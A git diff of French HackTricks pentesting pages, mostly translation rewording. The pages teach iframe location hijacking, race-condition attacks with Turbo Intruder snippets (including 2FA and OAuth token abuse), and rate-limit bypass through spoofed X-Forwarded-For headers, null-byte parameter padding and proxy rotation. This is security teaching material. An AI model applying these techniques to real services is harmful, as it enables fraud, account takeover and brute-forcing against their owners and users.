Selon [**cette explication**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si vous pouvez inclure une page web sans en-tête X-Frame qui contient un autre iframe, vous pouvez **modifier l'emplacement de cet iframe enfant**.
|
||||
Selon [**cette explication**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si vous pouvez inclure un iframe d'une page Web sans en-tête X-Frame qui contient un autre iframe, vous pouvez **modifier l'emplacement de cet iframe enfant**.
|
||||
|
||||
Par exemple, si abc.com a efg.com comme iframe et que abc.com n'a pas d'en-tête X-Frame, je pourrais changer efg.com en evil.com en utilisant, **`frames.location`**.
|
||||
|
||||
|
@ -37,12 +37,12 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -25,7 +25,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui à :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -16,8 +16,8 @@ D'autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -47,7 +47,7 @@ L'envoi ultérieur des trames retenues devrait entraîner leur arrivée dans un
|
|||
|
||||
### Adaptation à l'architecture du serveur
|
||||
|
||||
Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant le timing. Le préchauffage côté serveur, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes.
|
||||
Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant le timing. Le préchauffage côté serveur préventif, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes.
|
||||
|
||||
#### Gestion du verrouillage basé sur la session
|
||||
|
||||
|
@ -64,7 +64,7 @@ Si le préchauffage de la connexion est inefficace, déclencher intentionnelleme
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous allez **envoyer des valeurs différentes**, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots du presse-papiers :
|
||||
Si vous allez **envoyer des valeurs différentes**, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1')
|
|||
Si le site web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
|
||||
{% endhint %}
|
||||
|
||||
* **Tubo Intruder - Attaque à un seul paquet HTTP2 (Plusieurs points de terminaison)**: Si vous devez envoyer une requête à un point de terminaison, puis plusieurs à d'autres points de terminaison pour déclencher l'exécution de code à distance, vous pouvez modifier le script `race-single-packet-attack.py` comme suit :
|
||||
* **Tubo Intruder - Attaque à un seul paquet HTTP2 (Plusieurs points d'extrémité)**: Si vous devez envoyer une requête à 1 point d'extrémité puis à plusieurs autres points d'extrémité pour déclencher l'exécution de code à distance, vous pouvez modifier le script `race-single-packet-attack.py` comme suit :
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -108,7 +108,7 @@ engine.openGate(currentAttempt)
|
|||
* Il est également disponible dans **Repeater** via la nouvelle option '**Envoyer le groupe en parallèle**' dans Burp Suite.
|
||||
* Pour **dépasser la limite**, vous pourriez simplement ajouter la **même requête 50 fois** dans le groupe.
|
||||
* Pour le **préchauffage de la connexion**, vous pourriez **ajouter** au **début** du **groupe** quelques **requêtes** vers une partie non statique du serveur web.
|
||||
* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes.
|
||||
* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes de sous-états, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes.
|
||||
* Pour un RC à **multi-point d'extrémité**, vous pourriez commencer à envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -174,7 +174,7 @@ Il s'agit du type le plus basique de condition de course où des **vulnérabilit
|
|||
|
||||
Il existe de nombreuses variations de ce type d'attaque, notamment :
|
||||
|
||||
- Utiliser plusieurs fois une carte-cadeau
|
||||
- Utiliser plusieurs fois une carte cadeau
|
||||
- Noter un produit plusieurs fois
|
||||
- Retirer ou transférer de l'argent en excès par rapport à votre solde de compte
|
||||
- Réutiliser une solution CAPTCHA unique
|
||||
|
@ -185,7 +185,7 @@ Il existe de nombreuses variations de ce type d'attaque, notamment :
|
|||
Exploiter des conditions de course complexes implique souvent de profiter de brèves opportunités pour interagir avec des sous-états de machine cachés ou **non intentionnels**. Voici comment aborder cela :
|
||||
|
||||
1. **Identifier les sous-états cachés potentiels**
|
||||
- Commencez par repérer les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateurs ou les processus de réinitialisation de mot de passe. Concentrez-vous sur :
|
||||
- Commencez par cibler les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateurs ou les processus de réinitialisation de mot de passe. Concentrez-vous sur :
|
||||
- **Stockage** : Privilégiez les points de terminaison qui manipulent des données persistantes côté serveur par rapport à ceux qui gèrent des données côté client.
|
||||
- **Action** : Recherchez les opérations qui modifient des données existantes, plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données.
|
||||
- **Clé** : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, par exemple, le nom d'utilisateur ou le jeton de réinitialisation.
|
||||
|
@ -194,14 +194,14 @@ Exploiter des conditions de course complexes implique souvent de profiter de br
|
|||
- Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements de comportement de l'application peuvent signaler une vulnérabilité.
|
||||
|
||||
3. **Démontrer la vulnérabilité**
|
||||
- Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent juste deux. Cette étape peut nécessiter plusieurs tentatives ou une automatisation en raison de la synchronisation précise impliquée.
|
||||
- Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent juste deux. Cette étape peut nécessiter plusieurs tentatives ou une automatisation en raison de la précision temporelle impliquée.
|
||||
|
||||
### Attaques sensibles au temps
|
||||
|
||||
La précision dans la synchronisation des requêtes peut révéler des vulnérabilités, notamment lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées.
|
||||
La précision dans le timing des requêtes peut révéler des vulnérabilités, notamment lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées.
|
||||
|
||||
**Pour exploiter :**
|
||||
- Utilisez une synchronisation précise, comme une attaque à un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité.
|
||||
- Utilisez un timing précis, comme une attaque en un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité.
|
||||
|
||||
**Exemple :**
|
||||
- Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent une faille dans la génération de jetons.
|
||||
|
@ -225,9 +225,9 @@ Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state-
|
|||
|
||||
**Consultez ce [laboratoire PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) pour essayer cela.**
|
||||
|
||||
### États cachés de la base de données / Contournement de la confirmation
|
||||
### États de base de données cachés / Contournement de la confirmation
|
||||
|
||||
Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a un court laps de temps où **seule la première donnée a été écrite** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** puis le jeton pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**.
|
||||
Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a un petit laps de temps où **seule la première donnée a été écrite** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** puis le jeton pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**.
|
||||
|
||||
Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de **confirmer un compte** dont vous ne contrôlez pas l'e-mail.
|
||||
|
||||
|
@ -235,7 +235,7 @@ Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un
|
|||
|
||||
### Contourner l'authentification à 2 facteurs
|
||||
|
||||
Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, l'**authentification à 2 facteurs n'est pas appliquée** tandis que la session est créée:
|
||||
Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, **l'authentification à 2 facteurs n'est pas appliquée** tandis que la session est créée:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -248,17 +248,17 @@ session['enforce_mfa'] = True
|
|||
Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs enregistrés par le fournisseur. Pour ce faire, le **client** devra **autoriser votre application** à accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\
|
||||
Ainsi, jusqu'ici, il s'agit simplement d'une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "_L'application \<InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser?_"
|
||||
|
||||
#### Course Condition dans `authorization_code`
|
||||
#### Condition de course dans `authorization_code`
|
||||
|
||||
Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Course Condition dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données pour **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
|
||||
Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de Course dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
|
||||
|
||||
#### Course Condition dans `Refresh Token`
|
||||
#### Condition de course dans `Refresh Token`
|
||||
|
||||
Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'exploiter pour générer plusieurs AT/RT** et **même si l'utilisateur annule les autorisations** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides**.
|
||||
|
||||
## **CC dans les WebSockets**
|
||||
## **RC dans les WebSockets**
|
||||
|
||||
Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** pour exploiter les **Course Conditions également dans les Web Sockets**.
|
||||
Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** pour exploiter **les Conditions de Course également dans les Web Sockets**.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -277,7 +277,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,14 +10,14 @@ Accédez dès aujourd'hui à :
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -28,7 +28,7 @@ Autres façons de soutenir HackTricks :
|
|||
Des tentatives doivent être faites pour effectuer des attaques par force brute sur des variations du point de terminaison ciblé, telles que `/api/v3/sign-up`, y compris des alternatives comme `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up`, etc.
|
||||
|
||||
### Incorporation de caractères vides dans le code ou les paramètres
|
||||
Insérer des octets vides comme `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` dans le code ou les paramètres peut être une stratégie utile. Par exemple, ajuster un paramètre à `code=1234%0a` permet d'étendre les tentatives à travers des variations d'entrée, comme ajouter des caractères de nouvelle ligne à une adresse e-mail pour contourner les limitations des tentatives.
|
||||
Insérer des octets vides comme `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` dans le code ou les paramètres peut être une stratégie utile. Par exemple, ajuster un paramètre à `code=1234%0a` permet d'étendre les tentatives à travers des variations d'entrée, comme ajouter des caractères de saut de ligne à une adresse e-mail pour contourner les limitations des tentatives.
|
||||
|
||||
### Manipulation de l'origine IP via les en-têtes
|
||||
La modification des en-têtes pour modifier l'origine IP perçue peut aider à contourner la limitation de taux basée sur l'IP. Des en-têtes tels que `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, y compris l'utilisation de plusieurs instances de `X-Forwarded-For`, peuvent être ajustés pour simuler des demandes provenant de différentes adresses IP.
|
||||
|
@ -46,20 +46,19 @@ X-Forwarded-For:
|
|||
X-Forwarded-For: 127.0.0.1
|
||||
```
|
||||
### Modification des autres en-têtes
|
||||
Il est recommandé de modifier d'autres en-têtes de requête tels que l'agent utilisateur et les cookies, car ils peuvent également être utilisés pour identifier et suivre les schémas de requêtes. Le changement de ces en-têtes peut empêcher la reconnaissance et le suivi des activités du demandeur.
|
||||
Il est recommandé de modifier d'autres en-têtes de requête tels que l'user-agent et les cookies, car ils peuvent également être utilisés pour identifier et suivre les schémas de requêtes. Le changement de ces en-têtes peut empêcher la reconnaissance et le suivi des activités du demandeur.
|
||||
|
||||
### Exploitation du comportement de la passerelle API
|
||||
Certaines passerelles API sont configurées pour appliquer une limitation de taux en fonction de la combinaison de l'endpoint et des paramètres. En variant les valeurs des paramètres ou en ajoutant des paramètres non significatifs à la requête, il est possible de contourner la logique de limitation de taux de la passerelle, rendant chaque requête unique.
|
||||
Par exemple `/resetpwd?someparam=1`.
|
||||
Certaines passerelles API sont configurées pour appliquer une limitation de taux en fonction de la combinaison de l'endpoint et des paramètres. En variant les valeurs des paramètres ou en ajoutant des paramètres non significatifs à la requête, il est possible de contourner la logique de limitation de taux de la passerelle, rendant chaque requête unique. Par exemple `/resetpwd?someparam=1`.
|
||||
|
||||
### Connexion à votre compte avant chaque tentative
|
||||
Se connecter à un compte avant chaque tentative, ou à chaque série de tentatives, peut réinitialiser le compteur de limitation de taux. Cela est particulièrement utile lors de tests de fonctionnalités de connexion. L'utilisation d'une attaque Pitchfork dans des outils comme Burp Suite, pour faire tourner les informations d'identification tous les quelques essais et en s'assurant que les redirections sont marquées, peut redémarrer efficacement les compteurs de limitation de taux.
|
||||
Se connecter à un compte avant chaque tentative, ou à chaque série de tentatives, peut réinitialiser le compteur de limitation de taux. Cela est particulièrement utile lors de tests de fonctionnalités de connexion. L'utilisation d'une attaque Pitchfork dans des outils comme Burp Suite, pour faire tourner les informations d'identification tous les quelques essais et en s'assurant que les redirections sont suivies, peut redémarrer efficacement les compteurs de limitation de taux.
|
||||
|
||||
### Utilisation de réseaux de proxy
|
||||
Le déploiement d'un réseau de proxies pour distribuer les requêtes sur plusieurs adresses IP peut contourner efficacement les limites de taux basées sur les adresses IP. En routant le trafic à travers divers proxies, chaque requête semble provenir d'une source différente, diluant l'efficacité de la limite de taux.
|
||||
|
||||
### Répartition de l'attaque entre différents comptes ou sessions
|
||||
Si le système cible applique des limites de taux sur une base par compte ou par session, la répartition de l'attaque ou du test entre plusieurs comptes ou sessions peut aider à éviter la détection. Cette approche nécessite la gestion de plusieurs identités ou jetons de session, mais peut distribuer efficacement la charge pour rester dans les limites autorisées.
|
||||
### Diviser l'attaque entre différents comptes ou sessions
|
||||
Si le système cible applique des limites de taux sur une base par compte ou par session, distribuer l'attaque ou le test entre plusieurs comptes ou sessions peut aider à éviter la détection. Cette approche nécessite la gestion de plusieurs identités ou jetons de session, mais peut distribuer efficacement la charge pour rester dans les limites autorisées.
|
||||
|
||||
|
||||
<details>
|
||||
|
@ -71,7 +70,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -79,7 +78,7 @@ Autres façons de soutenir HackTricks:
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -9,8 +9,8 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
